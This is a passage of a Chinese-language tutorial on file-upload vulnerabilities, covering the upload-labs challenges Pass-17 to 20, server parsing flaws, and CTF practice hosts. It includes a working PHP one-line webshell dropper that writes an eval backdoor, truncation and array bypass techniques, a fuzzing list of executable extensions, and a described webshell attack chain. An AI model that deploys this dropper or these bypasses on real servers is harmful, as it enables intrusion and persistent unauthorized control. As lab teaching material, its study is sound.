不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

使用BP拦截上传的包并放到intruder模块 image-20240128185025448 image-20240128185031584 image-20240128185037456 停止攻击之后再访问 image-20240128185041864

如果一直访问不到,可以尝试使用这个一句话,将下面php保存为shell.php

<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["cmd"])?>');?>

使用burp多线程发包,然后浏览器一直刷新,尝试访问,一旦成功访问,就会创建一个shell2.php,shell2.php不会被删除,可以正常访问。

3.18 Pass-18 条件竞争图片马

3.18.1 简介

跟上一关类似,条件竞争,但是会检测mm类型,需要结合使用图片马,尝试访问的时候使用文件包含访问。

3.18.2 代码分析

/index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){

    $ret = $this->isUploadedFile();

    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // if flag to check if the file exists is set to 1

    if( $this->cls_file_exists == 1 ){

      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );

  }
......
......
...... 
};

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

3.18.3 绕过攻击

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

3.19 Pass-19 文件名可控绕过

3.19.1 简介

文件上传时,文件名的可被客户端修改控制,会导致漏洞产生。

3.19.2 代码分析

pass-19 采用黑名单限制上传文件,但是$_POST['save_name']文件是可控的,可被客户端任意修改,造成安全漏洞. image-20240128185047594

3.19.3 绕过攻击

主要有两种: 1.上传文件,文件采用%00 截断,抓包解码例如 pinfo.php%00.php 截断后pinfo.php 或者使用/. 2.与中间的漏洞配合使用,例如 iis6.0 上传 1.php;1.jpg,apache 上传 1.php.a 也能解析文件,a.asp;1.jpg 解析成 asp

3.19.3.1 %00截断

%00 截断需要gpc关闭,抓包,解码,提交即可截断文件名,php版本小于 5.3.4 image-20240128185054394image-20240128185059301 image-20240128185104471

3.19.3.2 /.截断

image-20240128185110965 image-20240128185116162

3.20 Pass-20 数组绕过

3.20.1 简介

编写一个测试的PHP文件

<?php
$file = $_GET['save_name'];
echo $file_name = reset($file) . '.' . $file[count($file) - 1];
// reset()如果成功则返回数组中第一个元素的值,如果数组为空则返回 FALSE。
?>

image-20240128185152767 如果将数组的下标修改大于1,那么就得不到文件的格式,会使用.来替代 image-20240128185157800 在windows中,并不能支持以.结尾,就会自动删除掉最后的. move_uploaded_file()函数中,也会忽略掉文件末尾的 /. 那么这个文件保存的名字就变成了xx.php

3.20.2 代码分析

image-20240128185202848

这一关白名单

验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
--> 判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件

补充知识:

explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 end(array)函数,输出数组中的当前元素和最后一个元素的值。 reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值 count(array)函数,计算数组中的单元数目,或对象中的属性个数

3.20.3 绕过攻击

image-20240128185210674 image-20240128185214975

4.文件上传其他漏洞

  • nginx 0.83 /1.jpg%00php
  • apahce 1x 或者 2x
    • 当 apache 遇见不认识的后缀名,会从后向前解析例如 1.php.rar 不认识 rar 就向前解析,直到知道它认识的后缀名。
  • phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成php。
  • Apache HTTPD 换行解析漏洞(CVE-2017-15715)apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞,在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

    5.文件上传小技巧

5.1 黑名单绕过

判断是否为黑白名单,如果是白名单 寻找可控参数。如果是黑名单禁止上传,可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本。

.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess

使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交。 pass-05 image-20240128185125951 image-20240128185131807 image-20240128185143646

5.2 大马初体验

5.2.1 什么是一句话木马

“一句话木马”本质是一段极短的代码执行后门,攻击者可以通过一次 HTTP 请求,把要执行的代码“送进去”,由服务器端动态执行。

典型特征是:

  • 代码极短(往往只有一行)
  • 功能单一(执行任意 PHP 代码 / 命令)
  • 不负责交互、管理、持久化等复杂逻辑

5.2.2 小马(一句话木马)

5.2.2.1 定义

小马指的是:

体积极小、功能极简、只负责“打开执行通道”的后门代码

典型职责只有一件事: 接收外部输入 → 执行

例如(概念层面):

  • 接收 POST 参数
  • 交给 eval / assert / system 等执行
5.2.2.2 小马的特点
  • 代码量极少(几行甚至一行)
  • 隐蔽性强
    • 易藏在正常文件中
    • 易绕过上传、WAF、人工审计
  • 功能极弱
    • 无文件管理
    • 无权限管理
    • 无稳定交互
5.2.2.3 小马的核心目的

“只要我能执行任意代码,后面的事情再说。”

小马不是为了“长期使用”,而是为了建立初始控制能力

5.2.3 大马(功能型后门 / WebShell)

5.2.3.1 定义

大马指的是:

功能完整、可交互、具备管理能力的 WebShell 或后门程序

通常具备:

  • 文件管理(上传 / 下载 / 编辑 / 删除)
  • 命令执行
  • 数据库管理
  • 权限探测
  • 反弹 shell
  • 持久化机制

例如: 常见的 WebShell 管理程序(概念层面)。

5.2.3.2 大马的特点
  • 代码体积大
  • 功能完整
  • 可持续控制
  • 交互友好
  • 但隐蔽性差
    • 特征明显
    • 易被查杀
    • 易被人工发现
5.2.3.3 大马的核心目的

“拿到稳定、可操作、可长期使用的控制能力。”

5.2.4 小马 vs 大马的本质区别

攻击链角度看:

对比维度 小马 大马
体积 极小 较大
功能 单一 完整
隐蔽性 很强 较弱
使用场景 初始突破 持久控制
风险暴露

一句话总结:

小马负责“进门”,大马负责“住下来”。

5.2.5 小马和大马是如何配合使用

5.2.5.1 标准攻击流程

典型利用链如下:

  1. 利用漏洞写入 / 上传小马
    • 文件上传
    • 文件包含
    • 代码执行
  2. 通过小马获得一次代码执行能力
  3. 利用小马上传或写入大马
  4. 删除或废弃小马
  5. 通过大马进行长期控制

也可以概括为:

小马 = 投递器(Loader) 大马 = 主体程序(Payload)

5.2.5.2 为什么不直接上传大马?

原因很现实:

  • 大马体积大,容易被检测
  • 上传接口通常:
    • 限制文件类型
    • 限制内容关键字
    • 有 WAF 扫描
  • 大马一次失败,直接暴露攻击行为

而小马:

  • 更容易绕过
  • 更容易混淆
  • 更容易“写进去”
5.2.5.3 为什么写完大马要删小马?

因为:

  • 小马通常无认证
  • 功能原始
  • 被发现风险高
  • 容易被他人利用“接管你的后门”

成熟攻击者的习惯是:

“小马只用一次,用完即弃。”

6.一图总结

文件上传漏洞.png

7.文件上传综合实战

完成以下在线挑战,获取每一关的flag,flag文件在根目录

http://114.66.37.31:30001/ http://114.66.37.31:30002/ http://114.66.37.31:30003/ http://114.66.37.31:30004/ http://114.66.37.31:30005/ http://114.66.37.31:30006/ http://114.66.37.31:30007/ http://114.66.37.31:30008/ http://114.66.37.31:30009/ http://114.66.37.31:30010/ http://114.66.37.31:30011/ http://114.66.37.31:30012/ http://114.66.37.31:30013/

获取flag之后可以在

http://114.66.37.31:30000

提交flag

results matching ""

    No results matching ""